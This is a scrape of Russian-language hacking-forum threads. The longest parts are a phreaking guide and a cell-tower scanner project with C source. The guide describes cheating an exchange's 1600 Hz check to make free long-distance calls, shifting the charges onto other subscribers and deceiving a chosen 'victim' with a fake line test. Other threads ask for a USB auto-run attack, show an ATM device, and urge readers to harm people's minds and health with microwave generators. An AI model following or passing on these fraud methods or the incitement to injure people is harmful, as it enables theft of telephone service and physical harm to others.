сделать и самому, только вначале надо посмотреть что бы все контакты соответствовали (можно посмотреть проходит электричество или нет лампочкой. Можно и языком но я этого не советую, т. к. контакты окисляются, хоть этого не заметно, но процент удачи становится ниже). Один конец всовываешь в разьем звуковой карточки для колонок, а второйв разъем на модеме для микрофона. Так вот челу, который круто разбирается в модемах, надо заставить модем включить микрофон и поднять трубку, и тогда уже прослушать wav-файл. Хотя, особо крутых знантий не нужно, если Ты пользуешься модемами фирмы hayes, они постоянно на линии и микрофон у них постоянно включен. По крайней мере у старых моделей. Теперь можно нахаляву болтать по межгороду, хотя Тебя на этом могут зажопить, ведь узнать откуда реально был сделан звонок - не проблема. Есть еще вариант, что бы самому собрать устройство, которое находится на линии и посылает в нее звуки, такое сделать не сложно по идее. У меня есть. Там провода какие-то намотаны и пара таких кругло-плоских хреновин :) Есть еще более легкий вариант как сгенерить этот wav-файл. Береш любую прогу для написания midi-композиций, и пишешь произведение из одной только чистой- чистой (все эффекты убрать!) ноты "Ля" первой (основной) октавы. Закидывать его на линию надо таким же способом, вот только со спикером и трубкой телефона обламывается - midi не прослушивается спикером (ну только если Ты угробишь все свои дайвера от SoundBlaster'а и поставишь как основное воспроизводящее устройство - спикер ака внутренний динамик).

Станция Амтс-1м
ID: 676535aeb4103b69df37370f
Thread ID: 3833
Created: 2005-05-12T05:18:53+0000
Last Post: 2005-06-22T20:23:30+0000
Author: TR1()N!X
Replies: 3 Views: 4K

По окончании набоpа абонентом cобcтвенного номеpа РCЛА-МИР ( Реле cоеденительных линий автоматики и междугоpодных иcхолящих pегиcтpов) чеpез cоеденитель C подключаетcя к общему пpовеpоччному уcтpойcтву ОПУ. В cоcтав ОПУ входит генеpатоp и пpиемник тональной чаcтоты 1600 Гц. Пеpеменный ток 1600гц поcылаетcя от генеpатоpа по шлейфу чеpез пpибоpы заказно-cоеденительной линии и пpинимаютcя пpиемником. В завиcимоcти от pезультатов пpовеpки, был или не был замкнут пpовеpяемый шлейф, ОПУ пеpедает в РCЛА-МИР cоответcтвующий cигнал и оcвобождаетcя.

Для тех, кто не понял: после набора абонентом своего номера, АТС соединяется через исходящий комплект соединительных линий с заданным номером, подключаясь к абоненту. По входящей линии (той, на которой висит абонент, набравший номер) посылается частота 1600 Гц, а приемник ждет ее (с точностью до 50 Гц), подключившись к исходящей линии, причем очень непродолжительное время.
Если набрать чужой номер, то, очевидно, приемник обычно ничего не услышит.
Как это обмануть ? А есть шесть способов:
1. (самый глупый) найта таксофон с городским номером, с которого есть выход на эту станцию (категории-то кривые на таксофоны ставили, а вот про 7 все давно забыли). Использовался преимущественно в летнее время.
2. (тоже глупый, но изощренее). Требуется: электронщик - 1 шт, паяльник - 1 шт, радиодетали - много штук. Изготавливается Shit Box - генератор частоты 1600 Гц, снимающий трубку при вызывном сигнале и отвечающий в течении 1 минуты. Вешается на любой таксофон с городским номером. После этого смело звоните по этому номеру, а когда автоответчик запищит, вещаете трубку и набираете номер этого таксофона вместо своего. АТС ответ услышит, гарантирую :) Правда телефонисты навострились их находить и снимать.
3. (самый дебильный и ненадежный, вызывает претензии со стороны работников АМТС, иногда в грубой форме). В недалекие времена 3 и 4 миллионные зоны в Питере были одним и тем же (большинство АТС не различали первые цифры 3 и 4). Таким образом, станция 315 были и 415. Поэтому, абонент 315 станции, набирая свой номер, мог набрать 415, и проба прошла бы нормально. Hо 415 станции в городе нет, поэтому счета бы копились в окрестностях мусорного ведра, вызывая озабоченность у работников ВЦ, которые будут звонить на 415 станцию (и попадут ведь) и узнавать, что это за АТС. Правда теперь ситуация с 3 и 4 изменилась. При желании в номере можно было поменять не только первую цифру, но и пятую (для абонентов блокированных телефонов), при этом счет уходил соседу. Для тех, кому особенно повезло с телефоном, можно было поменять даже 3 цифры: можно было набирать как 47x, так и 48x (и 38x), попадая на одну и ту же станцию.
4. (очень красивый, требует некоторых капвложений, порядка $500). За $500 устанавливаете себе второй телефонный номер (можно даже Петерстар), доступ с которого к старой станции не нужен. Выбираете жертву (на языке бандитв - терпила), которая доверчиво снимает трубку и долго не кладет ее (например, автоответчик, лучше - станционный, АОH, лучше, чтобы он не определил номер, или модем). По второй линии набираем номер жертвы и ждем, пока она снимет трубку, если это человек, то уговаривам его не вешать трубку, т.к. идет проверка его телефонной линии. В это время набираем по первой линии межгород, потом набираем номер жертвы и оперативно прикладиваем динамик телефона на первой линии к микрофону второй. Станция подключается в линии жертвы и слышит там частоту, которая посылается по вашей второй линии. Иногда невредно подключить между микрофоном и динамиком усилитель, или просто поставить на вторую линию генератор.
5. (самый простой и удобный). Очень похож на способ 2. Основан на том, что в каждом городе стоят тысячи или десятки тысяч автоответчиков с частотой 1600 Гц. Hазывается этот автоответчик - FAX! Hа самом деле, частота его несущей другая, но когда вы вешаете трубку, позвонив на факс, короткие гудки, смешиваясь с несущей, дают смесь частот, принимаемую станцией за 1600 Гц.
6. (еще более простой). Любая комбинация из вышеперечисленных, например - позвонить из будки, списав звонок на жертву с факсом, изменив ее номер.
P.S. Современные станции обманываются гораздо большим числом способов
P.P.S. Если хотите сделать другу пакость, наберите его номер в конце и не вешайте трубку на своем телефоне - телефон друга (как, впрочем, и ваш) работаь не будет. Действует не всегда и не везде.

устройство для обнаружения активности смартфона
ID: 676535aeb4103b69df37354b
Thread ID: 123168
Created: 2024-09-20T16:18:12+0000
Last Post: 2024-10-16T04:15:05+0000
Author: Dread Pirate Roberts
Prefix: GSM
Replies: 20 Views: 3K

довольно часто возникают подобные вопросы, а теперь я и сам призадумался :D
каким девайсом можно определить, что смартфон в данный конкретный момент ведёт передачу данных? в идеале девайс должен уметь писать лог активности, чтобы можно было положить его рядом с якобы выключенным смартфоном и заниматься своими делами, а через какое-то время посмотреть, была ли активность.
я правильно понимаю, что китайские "детекторы жучков" с Горбушки - это хлам, и нужно покупать бэушный радиосканер Tektronix за миллион долларов? или будет достаточно обычного HackRF?

ping gliderexpert Veil jeki

если я всё правильно понял, то будет достаточно HackRF, так как оно поддерживает все нужные частоты. но надо будет подключить к нему одновременно три антенны? (для 600-900 МГц, 1700-2400 МГц, и 2400-3000 МГц)

Как направленную антенну подключить к wi-fi адаптеру?
ID: 676535aeb4103b69df373558
Thread ID: 122092
Created: 2024-09-05T07:26:30+0000
Last Post: 2024-09-14T23:09:43+0000
Author: ssh
Prefix: WiFi
Replies: 37 Views: 3K

Есть wi-fi адаптер Alfa AWUS1900, подскажите какая антенна 2400 мГц для него лучше всего подойдёт и как правильно её подключить для максимально сильного приёма и передачи сигнала, ведь у этого адаптера 4 разъема, а у подобных антенн 1 или 2.

alfa-awus1900-802.11ac-1900mbps-dual-band-2.4-5ghz-wi-fi-usb-adapter- slika-103364985-392231743.jpg

Стоит ли 2 такие антенны ставить (по 2 разъема с каждой на один 4х разъемный адаптер) или они будут друг другу мешать?
Цель использования - подключение к wifi роутеру на растоянии 100-200 метров.

bdm2-min.png

что суют в атм
ID: 676535aeb4103b69df373559
Thread ID: 107036
Created: 2024-01-30T14:01:14+0000
Last Post: 2024-09-10T14:26:31+0000
Author: Operator
Replies: 27 Views: 3K

знакома ли общественность с таким вот девайсом?

я не про трактор.

Грядет новая эра хаккинга
ID: 676535aeb4103b69df37355f
Thread ID: 120185
Created: 2024-08-04T11:48:09+0000
Last Post: 2024-08-27T19:33:08+0000
Author: bigheadguy
Replies: 27 Views: 3K

чуваки сконструировали устройство для взлома и реверс-инжиниринга чипов стоимостью всего в 500$.

Два белых хакера Сэм Бомонт и Ларри «Патч» Троуэлл, работающих в компании «NetSPI», представили недорогое устройство «RayV Lite» для аппаратного взлома чипов с помощью лазеров. Вкратце, «RayV Lite» — это попытка создать бюджетный вариант сверхдорогих лазерных инструментов спецслужб для взлома и реверс- инжиниринга чипов. И эта попытка удалась.

По словам разработчиков, с помощью «RayV Lite» с открытым кодом лазерный (оптический) взлом чипов сможет совершать широкий круг специалистов и любителей. Стоимость профессионального оборудования для подобных целей достигает $150 тыс., тогда как Бомонт и Троуэлл уложились в бюджет всего лишь $500.

По их словам, это «одомашнивание» хакерских инструментов, что позволит, как они надеются, усилить защиту от подобных методов взлома, к которому сегодня подавляющее число разработчиков чипов относятся с безразличием.

Как подойти на 3 Мгц
ID: 676535aeb4103b69df37370a
Thread ID: 4171
Created: 2005-06-29T21:58:56+0000
Last Post: 2005-06-29T21:58:56+0000
Author: Fedya
Replies: 0 Views: 3K

Задумал я подойти к радио######ганам на 3 МГц с помощью СВ радиостанции (27 МГц). По приему это сделать довольно просто, можно использовать практически стандартную схему включения К174ПС1 с частотой переноса 24 МГЦ и их отлично слышно (проверял работает). А вот с передачей дело обстоит сложнее. Если пытаться то же использовать на передачу, т.е. сформированый АМ сиглал проталкивать через ПС1, то получается паршиво, приходится модулировать в выходном каскаде передатчика.
Может кто сталкивался с подобной проблемой и подскажет какую-нибудь умную идею.

Автозапуск с USB флешки
ID: 676535aeb4103b69df373566
Thread ID: 115001
Created: 2024-05-20T19:23:41+0000
Last Post: 2024-07-29T18:25:35+0000
Author: elice
Replies: 14 Views: 3K

Подскажите мануал или хотя бы куда копать...
Ищу способ автозагрузки и автовыполнения .bat или .exe файла в windows 10/11 при подключении usb флешки. Подскажите какие есть способы создания загрузочной флешки!
Хотел бы предложить обсудить тему подобной атаки, надеюсь найти помощь среди вас. За рабочий вариант + в карму и с радостью накину 10$. Даст Бог подниму с ворка, буду рад еще поделиться

СВЧ оружие - электромагнитные поля и живая природа
ID: 676535aeb4103b69df373577
Thread ID: 107080
Created: 2024-01-30T22:07:25+0000
Last Post: 2024-04-29T13:39:11+0000
Author: gliderexpert
Prefix: Мануал/Книга
Replies: 47 Views: 3K

Представляю вниманию известную в узких кругах книгу времен СССР, в которой приведена подробная систематизированная информация о воздействии СВЧ-излучения на живые организмы.
Что немаловажно - это не данные, полученные модными сейчас методиками цифрового моделирования - а суровые логи не менее суровых физических экспериментов.
Да - да, тот самый метод терморектального анализа - грели собачек-крысок СВЧ "печкой" и измеряли результаты термометром, вставленным в jtag порт крыски :oops:
Тут нет размышлений любителей смузи на тему вреда мобильных телефонов и мерцания мониторов. Только хардкор:
mw4.png
mw1.pngmw3.png
mw2.pngmw6.png

Как применять на практике? Нелетальное электронное оружие. Социнженерия. Используя СВЧ генератор с определенными параметрами, можно весьма не иллюзорно сводить человека с ума или пошатнуть ему здоровье.
Например, утверждается что у человека можно выработать условный рефлекс на включение радиопередатчика довольно малой мощности:

mw5.png

В общем - экспериментируйте, и просвящайте население СВЧ-волнами благодати ))
http://damaga377vyvydeqeuigxvl6g5sbmipoxb5nne6gpj3sisbnslbhvrqd.onion/b/6ggMtQvOTaQIT4oPpZSXGs

Сканер базовых станций
ID: 676535aeb4103b69df37359f
Thread ID: 98059
Created: 2023-09-14T15:39:51+0000
Last Post: 2023-11-25T18:34:48+0000
Author: gliderexpert
Prefix: GSM
Replies: 38 Views: 3K

Сканер LTE/UMTS/GSM

1.png2.png

Что это такое?
Компактный прибор, позволяющий получать информацию о ближайших базовых станциях сотовой связи:

Полученные данные можно записать в логфайл для последующего просмотра на персональном компьютере, либо обрабатывать в реальном времени.

Зачем это нужно?

" Белое" применение:

" Серое" применение:

" Черное" применение:

Чем это лучше телефона?
Конечно, существуют специальные модифицированные (как программно, так и иногда-аппаратно) телефоны, позволяющие показывать списки сот. Нельзя сказать что лучше или хуже.

Телефон ​+ Компактность. Можно носить всегда с собой.
+ Не привлекает внимание
+ Цена "железа", доступность| ДЕВАЙС ​+ Работает на всех частотных диапазонах. Легко добавить нужные Band'ы при необходимости.
+ Простота управления внешними устройствами, большой набор интерфейсов
+ opensource, позволяющий модернизировать функционал
---|---

Реализованные функции на данный момент времени
- скан LTE сети в диапазонах B1/B2/B3/B5/B7/B8/B20/B28A/B38/B40/B41
- скан 3G в диапазонах B1/B2/B5/B8
- запись полученных данных в JSON лог
- отображает статус сканирования на LCD индикаторе

Записываемые параметры по каждой из обнаруженных сот:
- тип соты 3g/4g, MCC, MNC, ARFCN, TAC, PCI, RSSI, LAC, CID, PSC, RSCP, ECIO

Планы на ближайший месяц. Над чем работаю сейчас:

Над чем буду работать после завершения этих этапов

Как помочь проекту?
- Морально. Распространите ссылку на статью по знакомым и медиа-ресурсам. Энтузиазм победить нельзя, но в рф он сам погаснет! Поэтому приоритет на зарубежные площадки. Кто есть на ру-ресурсах типа vrtp, фрикера и так далее - да будет спам! ) Репост + ссылка на эту тему.

- Материально. Все средства зачисленные на BTC адрес пойдут только на этот проект.
Если желающие поддержать не только словом, но и делом - найдутся - с меня отчет в этой теме, в формате хеш транзакции - на что конкретно была потрачена. Скидывайте ник и хеш транзакции, добавлю в список соучастников проекта! )
BTC кошелек проекта: **bc1qrj2mk5m5jaxzee8vq625ec8tdusettpzrevk3q

- Технически.** Приветствуются любые дополнения и участие в проекте - пишем код вместе и улучшаем возможности девайса. Код-ревью и "причесывание" исходников. Основной язык проекта - C. Обновления и дополнения обсуждаем в этой теме. Хорошие правки, дополнения - будут внесены в основной код с указанием авторов, после проверки мною "в железе". Можете делать свои "форки" сколько угодно, перезаливы на гитхаб - приветствуются с обязательным указанием ссылки на эту тему.

Лицензии и копирайты
Автор идеи проекта и первоначального кода - я.
Железо - Opensource, на стандартных общедоступных модулях.
Софт - Opensource, загружается в устройство самостоятельно
Ограничения на распространение и применение - отсутствуют. Обязательная ссылка на " xss.is " .
Техподдержка - на все вопросы Вам обязательно ответит ChatGPT.

Это сообщение будет дополняться информацией по мере развития проекта.

Spoiler: ЖЕЛЕЗО

Список комплектующих ТУТ.

Пока кратко. За более подробным описанием и картинками заходите позже.
Платформа - одноплатный ПК Orange PI RK3399.
Для сканирования LTE используются 2 модема - Quectel EC25-EUX и Huawei ME909s-120
Huawei подключен в m2 разъем, Quectel - через usb-to-m2 адаптер.
Дисплей - знакосинтезирующий, фирмы Мелт, 20 символов 2 строки
Питание хуавея и дисплея - через отдельный dc/dc преобразователь с выходом 5 вольт
Enable преобразователя заведен на GPIO для возможности аппаратного ресета Quectel'а
Питание - LiPo авиамодельный аккумулятор 3S емкостью 3300мА/ч

Spoiler: Пример результата сканирования сети + приз

Определи геолокацию с точностью до улицы, на которой был записан этот лог - и получи кучу лайков )

JSON:Copy to clipboard

{
"cell": [
{
 "type":"4G",
 "MCC":"250",
 "MNC":"20",
 "ARFCN":"100",
 "TAC":"195",
 "PCI":"0",
 "RSSI":"-44"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"01",
 "ARFCN":"1802",
 "TAC":"18A",
 "PCI":"0",
 "RSSI":"-41"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"01",
 "ARFCN":"3200",
 "TAC":"67",
 "PCI":"0",
 "RSSI":"-40"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"6350",
 "TAC":"13D",
 "PCI":"0",
 "RSSI":"-24"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"01",
 "ARFCN":"38100",
 "TAC":"108",
 "PCI":"0",
 "RSSI":"-74"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"20",
 "ARFCN":"38950",
 "TAC":"1D9",
 "PCI":"0",
 "RSSI":"-41"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"01",
 "ARFCN":"40740",
 "TAC":"108",
 "PCI":"0",
 "RSSI":"-70"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"20",
 "ARFCN":"3400",
 "TAC":"9D",
 "PCI":"0",
 "RSSI":"-48"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"99",
 "ARFCN":"1301",
 "TAC":"4C",
 "PCI":"0",
 "RSSI":"-41"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"01",
 "ARFCN":"375",
 "TAC":"DC",
 "PCI":"0",
 "RSSI":"-43"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"99",
 "ARFCN":"3300",
 "TAC":"B1",
 "PCI":"0",
 "RSSI":"-43"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"20",
 "ARFCN":"39550",
 "TAC":"8C",
 "PCI":"0",
 "RSSI":"-47"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"2850",
 "TAC":"2",
 "PCI":"0",
 "RSSI":"-51"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"1602",
 "TAC":"22",
 "PCI":"0",
 "RSSI":"-62"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"99",
 "ARFCN":"6413",
 "TAC":"177",
 "PCI":"0",
 "RSSI":"-65"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"99",
 "ARFCN":"525",
 "TAC":"F2",
 "PCI":"0",
 "RSSI":"-57"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"20",
 "ARFCN":"75",
 "TAC":"E3",
 "PCI":"0",
 "RSSI":"-36"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"20",
 "ARFCN":"6200",
 "TAC":"6CAD",
 "PCI":"188",
 "RSSI":"-58"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"3048",
 "TAC":"2606",
 "PCI":"34",
 "RSSI":"-75"
},
{
 "type":"4G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"6338",
 "TAC":"1E35",
 "PCI":"54",
 "RSSI":"-87"
},
{
 "type":"3G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"10687",
 "LAC":"25F4",
 "CID":"A1B44C",
 "PSC":"405",
 "RSCP":"0",
 "ECIO":"0"
},
{
 "type":"3G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"2938",
 "LAC":"25F4",
 "CID":"A1B421",
 "PSC":"12",
 "RSCP":"-53",
 "ECIO":"-3"
},
{
 "type":"3G",
 "MCC":"250",
 "MNC":"20",
 "ARFCN":"10563",
 "LAC":"6CAD",
 "CID":"742E89",
 "PSC":"326",
 "RSCP":"-56",
 "ECIO":"-12"
},
{
 "type":"3G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"10662",
 "LAC":"25F4",
 "CID":"A1B44E",
 "PSC":"405",
 "RSCP":"-58",
 "ECIO":"-11"
},
{
 "type":"3G",
 "MCC":"250",
 "MNC":"99",
 "ARFCN":"3036",
 "LAC":"7005",
 "CID":"1F390A1",
 "PSC":"378",
 "RSCP":"-54",
 "ECIO":"0"
},
{
 "type":"3G",
 "MCC":"250",
 "MNC":"01",
 "ARFCN":"2987",
 "LAC":"18BA",
 "CID":"330D101",
 "PSC":"411",
 "RSCP":"-71",
 "ECIO":"0"
},
{
 "type":"3G",
 "MCC":"250",
 "MNC":"02",
 "ARFCN":"10638",
 "LAC":"25F4",
 "CID":"A19C99",
 "PSC":"217",
 "RSCP":"-93",
 "ECIO":"0"
},
{
 "type":"3G",
 "MCC":"250",
 "MNC":"01",
 "ARFCN":"10762",
 "LAC":"18D8",
 "CID":"3306CC2",
 "PSC":"421",
 "RSCP":"-76",
 "ECIO":"0"
}]
}

Spoiler: КОД

main.c

C:Copy to clipboard

#include "header.h"
#include <pthread.h>


char dir_name[150]={};
int max_dir=0;
char file_name[150]={};
FILE *fp = NULL;

long lcd_start_time =0;
long lcd_cur_time =0;
long lcd_delta_time=0;
time_t lcd_seconds;


extern char umts_count;
extern char lte_count;


extern char umts_count_huawei;
extern char lte_count_huawei;


extern LTE_Cell lte_list[];
extern LTE_Cell lte_list_huawei[];


extern UMTS_Cell umts_list_huawei[];

extern UMTS_Cell umts_list[];

char umts_count_old =0;//for detecting new cells
char lte_count_old=0;//for detecting new cells

extern char umts_count_huawei_old=0;
extern char lte_count_huawei_old=0;


int plmn_arr[MAX_CELL][MAX_CELL] = {};


char buffer[1256]={};
char tx_string[256]={};

int fd;





void quectel_reset()
{
    char in_c=0;
    quectel_close();


    sleep(5);


    pinMode (19,OUTPUT);
    digitalWrite(19,1);
    sleep(10);



    pinMode (19,OUTPUT);
    digitalWrite(19,0);



    lcdClear(fd);
    lcdPosition(fd,0,0);
    lcdPuts(fd,"BASEBAND RESET");
    lcdPosition(fd,0,1);
    lcdPuts(fd,"PLEASE WAIT...");

        printf("bb reset \n");

    sleep(20);

    in_c = quectel_start();

    qualcom_imei();
    sleep(5);

}


void huawei_reset(){
    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"AT+CFUN=0 \r");
    huawei_println(tx_string, sizeof(tx_string));
    memset(buffer,0,sizeof(buffer));

        while (1)
        {
        huawei_readln(buffer);

        if (strstr(buffer, "OK") ){
            printf("huawei power off ok  %s \n",buffer);
            break;
        }

        if (strstr(buffer, "ERROR") ){

                printf("at command error,retry \n");
                memset(tx_string,0,sizeof(tx_string));
                sprintf(tx_string,"AT+CFUN=0 \r");
                    huawei_println(tx_string, sizeof(tx_string));
            }

        memset(buffer,0,sizeof(buffer));
        }

        memset(buffer,0,sizeof(buffer));




        memset(tx_string,0,sizeof(tx_string));
        sprintf(tx_string,"AT+CFUN=1 \r");

                huawei_println(tx_string, sizeof(tx_string));


                while (1)
                {
                huawei_readln(buffer);

                if (strstr(buffer, "OK") ){
                    printf("huawei power on ok  %s \n",buffer);
                    break;
                }

                if (strstr(buffer, "ERROR") ){

                        printf("at command error,retry \n");
                        memset(tx_string,0,sizeof(tx_string));
                        sprintf(tx_string,"AT+CFUN=1 \r");
                        huawei_println(tx_string, sizeof(tx_string));
                    }

                memset(buffer,0,sizeof(buffer));
                }

                memset(buffer,0,sizeof(buffer));




                memset(tx_string,0,sizeof(tx_string));
                sprintf(tx_string,"AT^CURC=0 \r");
                huawei_println(tx_string, sizeof(tx_string));

                while (1)
                    {
                                huawei_readln(buffer);


                    if (strstr(buffer, "OK") ){
                    break;
                    }
                    memset(buffer,0,sizeof(buffer));
                    }

                memset(buffer,0,sizeof(buffer));


}



void merge_arrays()
{

int mcc = 0;
int mnc=0;

int lcd_merge_4g=0;
int lcd_merge_3g=0;

int merge_cnt=0;

int merge1_cnt=0;
int merge2_cnt=0;
for (merge_cnt=0;merge_cnt<MAX_CELL;merge_cnt++)
    {
        if (lte_list[merge_cnt].arfcn !=0 )
            {


                for (merge1_cnt=0;merge1_cnt<MAX_CELL;merge1_cnt++)
                    {
                        if ( (lte_list_huawei[merge1_cnt].arfcn == lte_list[merge_cnt].arfcn) &&(lte_list_huawei[merge1_cnt].plmn != lte_list[merge_cnt].plmn) )
                            {
                                merge2_cnt = 0;
                                while (merge2_cnt<MAX_CELL)
                                    {
                                        if ((plmn_arr[merge2_cnt][0]==lte_list[merge_cnt].plmn )||(plmn_arr[merge2_cnt][0]==0)) break;
                                        merge2_cnt++;
                                    }

                                    if  (plmn_arr[merge2_cnt][0]!=lte_list[merge_cnt].plmn){
                                        plmn_arr[merge2_cnt][0]=lte_list[merge_cnt].plmn;
                                        plmn_arr[merge2_cnt][1]=lte_list_huawei[merge1_cnt].plmn;
                                    }

                            }
                    }


            }

    }


for (merge_cnt=0;merge_cnt<MAX_CELL;merge_cnt++)
{

    if (plmn_arr[merge_cnt][0] !=0)
    {
        for (merge1_cnt=0;merge1_cnt<MAX_CELL;merge1_cnt++)
        {
            if (plmn_arr[merge_cnt][0] == lte_list[merge1_cnt].plmn) lte_list[merge1_cnt].plmn =plmn_arr[merge_cnt][1];
        }
    }
}



for (merge2_cnt=0;merge2_cnt<MAX_CELL;merge2_cnt++){
merge_cnt=0;
while (merge_cnt<MAX_CELL){
    if (lte_list[merge_cnt].arfcn == 0 || (lte_list[merge_cnt].arfcn == lte_list_huawei[merge2_cnt].arfcn )) break;
    merge_cnt++;
}


if (lte_list[merge_cnt].arfcn != lte_list_huawei[merge2_cnt].arfcn)
        {

            lte_list[merge_cnt].arfcn = lte_list_huawei[merge2_cnt].arfcn;
            lte_list[merge_cnt].plmn = lte_list_huawei[merge2_cnt].plmn;
            lte_list[merge_cnt].pci = lte_list_huawei[merge2_cnt].pci;
            memcpy(lte_list[merge_cnt].tac, lte_list_huawei[merge2_cnt].tac, sizeof lte_list_huawei[merge2_cnt].tac);
            lte_list[merge_cnt].rssi = lte_list_huawei[merge2_cnt].rssi;
        }

}

printf("################## LTE CELL LIST ################## \n");


char firstrun=1;

for (merge_cnt=0;merge_cnt<MAX_CELL;merge_cnt++)
{
    if (lte_list[merge_cnt].arfcn !=0)
    {
           printf ("plmn = %d  arfcn = %d channel = %s tac=%s pci= %d rssi=%d  \n",lte_list[merge_cnt].plmn, lte_list[merge_cnt].arfcn, lte_list[merge_cnt].channel,lte_list[merge_cnt].tac,lte_list[merge_cnt].pci,lte_list[merge_cnt].rssi);
           lcd_merge_4g ++;

           mcc = lte_list[merge_cnt].plmn / 100;
               mnc =lte_list[merge_cnt].plmn %100;

               if(firstrun)
               {
                   firstrun=0;
               }else
               {
                   fprintf(fp,",\n");
               }

               fprintf(fp,"{\n");
               fprintf(fp," \"type\":\"4G\",\n");
               fprintf(fp," \"MCC\":\"%d\",\n",mcc);
               fprintf(fp," \"MNC\":\"%02d\",\n",mnc);
               fprintf(fp," \"ARFCN\":\"%d\",\n",lte_list[merge_cnt].arfcn);
               fprintf(fp," \"TAC\":\"%s\",\n",lte_list[merge_cnt].tac);
               fprintf(fp," \"PCI\":\"%d\",\n",lte_list[merge_cnt].pci);
               fprintf(fp," \"RSSI\":\"%d\"\n",lte_list[merge_cnt].rssi);
               fprintf(fp,"}");
               fflush(fp);


    }
}



////////////////////////////////////////////////
for (merge2_cnt=0;merge2_cnt<MAX_CELL;merge2_cnt++){
merge_cnt=0;
while (merge_cnt<MAX_CELL){
    if (umts_list[merge_cnt].arfcn == 0 || (umts_list[merge_cnt].arfcn == umts_list_huawei[merge2_cnt].arfcn )) break;
    merge_cnt++;
}


if (umts_list[merge_cnt].arfcn != umts_list_huawei[merge2_cnt].arfcn)
        {

            umts_list[merge_cnt].arfcn = umts_list_huawei[merge2_cnt].arfcn;
            umts_list[merge_cnt].plmn = umts_list_huawei[merge2_cnt].plmn;

            memcpy(umts_list[merge_cnt].lac, umts_list_huawei[merge2_cnt].lac, sizeof umts_list_huawei[merge2_cnt].lac);
            memcpy(umts_list[merge_cnt].cid, umts_list_huawei[merge2_cnt].cid, sizeof umts_list_huawei[merge2_cnt].cid);

            umts_list[merge_cnt].psc = umts_list_huawei[merge2_cnt].psc;
            umts_list[merge_cnt].rscp = umts_list_huawei[merge2_cnt].rscp;
            umts_list[merge_cnt].ecio = umts_list_huawei[merge2_cnt].ecio;

        }

}



printf("################## UMTS CELL LIST ################## \n");

for (merge_cnt=0;merge_cnt<MAX_CELL;merge_cnt++)
{
    if (umts_list[merge_cnt].arfcn !=0)
    {
           printf ("plmn = %d  arfcn = %d lac=%s cid=%s psc=%d rscp= %d ecio=%d \n",umts_list[merge_cnt].plmn, umts_list[merge_cnt].arfcn,umts_list[merge_cnt].lac,umts_list[merge_cnt].cid,umts_list[merge_cnt].psc,umts_list[merge_cnt].rscp,umts_list[merge_cnt].ecio);
           lcd_merge_3g ++;

           mcc = umts_list[merge_cnt].plmn / 100;
           mnc =umts_list[merge_cnt].plmn %100;

           fprintf(fp,",\n{\n");
           fprintf(fp," \"type\":\"3G\",\n");
           fprintf(fp," \"MCC\":\"%d\",\n",mcc);
           fprintf(fp," \"MNC\":\"%02d\",\n",mnc);
           fprintf(fp," \"ARFCN\":\"%d\",\n",umts_list[merge_cnt].arfcn);
           fprintf(fp," \"LAC\":\"%s\",\n",umts_list[merge_cnt].lac);
           fprintf(fp," \"CID\":\"%s\",\n",umts_list[merge_cnt].cid);
           fprintf(fp," \"PSC\":\"%d\",\n",umts_list[merge_cnt].psc);
           fprintf(fp," \"RSCP\":\"%d\",\n",umts_list[merge_cnt].rscp);
           fprintf(fp," \"ECIO\":\"%d\"\n",umts_list[merge_cnt].ecio);
           fprintf(fp,"}");
           fflush(fp);

    }
}




printf("################## END ################## \n");



                    lcdClear(fd);

                                    lcd_seconds = time(NULL);
                                        lcd_cur_time = lcd_seconds;
                                        lcd_delta_time = lcd_cur_time-lcd_start_time;
                    lcdPosition(fd,0,0);
                    lcdPrintf(fd,"3G BTS=%d SCAN #%d",lcd_merge_3g,max_dir+1);
                    lcdPosition(fd,0,1);
                    lcdPrintf(fd,"4G BTS=%d",lcd_merge_4g);
                    lcdPosition(fd,5,0);
                    lcdCursorBlink(fd,0);


}



int scan_lte(void){
    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"at+qcops=4,1,1,5\r");
    quectel_println(tx_string, sizeof(tx_string));
    lcd_seconds = time(NULL);
                                    lcd_cur_time = lcd_seconds;
                                    lcd_delta_time = lcd_cur_time-lcd_start_time;
                        lcdPosition(fd,0,0);
                        lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count+1, umts_count+1,lcd_delta_time);
                        lcdPosition(fd,0,1);
                        lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
                        lcdPosition(fd,5,0);
                        lcdCursorBlink(fd,1);

    while (1)
    {


        if(quectel_readln(buffer)<1){
                            printf("timeout reset");
                            memset(buffer,0,sizeof(buffer));
                            return -1;
                            }

        if (strstr(buffer, "OK") ){
            break;
            }
        if (strstr(buffer, "ERROR") ){

            printf("at command error,retry \n");
            quectel_reset();

            lcdClear(fd);
                            lcd_seconds = time(NULL);
                                lcd_cur_time = lcd_seconds;
                                lcd_delta_time = lcd_cur_time-lcd_start_time;
                    lcdPosition(fd,0,0);
                    lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count+1, umts_count+1,lcd_delta_time);
                    lcdPosition(fd,0,1);
                    lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
                    lcdPosition(fd,5,0);
                    lcdCursorBlink(fd,1);

            sleep(10);
